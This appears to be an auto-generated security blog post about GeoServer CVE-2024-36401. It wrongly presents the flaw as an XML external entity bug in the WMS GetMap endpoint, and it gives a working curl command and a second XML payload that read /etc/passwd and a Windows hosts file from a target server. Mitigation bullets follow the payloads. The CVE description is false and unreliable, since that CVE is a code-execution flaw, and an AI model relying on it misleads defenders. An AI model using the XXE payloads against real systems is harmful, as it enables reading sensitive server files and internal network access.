Listen to this Post
The CVE-2024-36401 vulnerability in GeoServer operates through its Web Map Service (WMS) `GetMap` endpoint at /geoserver/wms. This endpoint accepts XML-based Styled Layer Descriptor (SLD) requests for custom map styling. A weakly configured XML parser processes this input without disabling external entity resolution. An attacker can craft a malicious XML request containing a `DOCTYPE` declaration that defines an external entity with a `SYSTEM` keyword pointing to a sensitive file on the server, such as file:///etc/passwd. When the vulnerable GeoServer instance parses this XML, it expands the defined entity, substituting it with the contents of the specified file. This allows the attacker to exfiltrate the file’s contents directly within the server’s response or error message. The same mechanism can be abused for Server-Side Request Forgery (SSRF) by defining an entity that points to an internal HTTP endpoint, forcing the server to make arbitrary internal network requests.
Platform: GeoServer
Version: <2.25.6
Vulnerability : XXE
Severity: Critical
date: 2024
Prediction: 2024-Q2
What Undercode Say:
curl -X POST http://target/geoserver/wms -H "Content-Type: text/xml" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><GetMap><Version>1.1.1</Version><Layers>&xxe;</Layers></GetMap>'
<?xml version="1.0"?> <!DOCTYPE exploit [ <!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts"> ]> <GetMap> <Version>1.1.1</Version> <Layers>&xxe;</Layers> </GetMap>
How Exploit:
Craft malicious XML
Define external entity
Reference entity in request
Retrieve file contents
Protection from this CVE:
Disable external entities
Update GeoServer version
Use SAXParserFactory securely
Validate XML inputs
Impact:
Arbitrary file read
Server-Side Request Forgery
Internal network access
Information disclosure
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
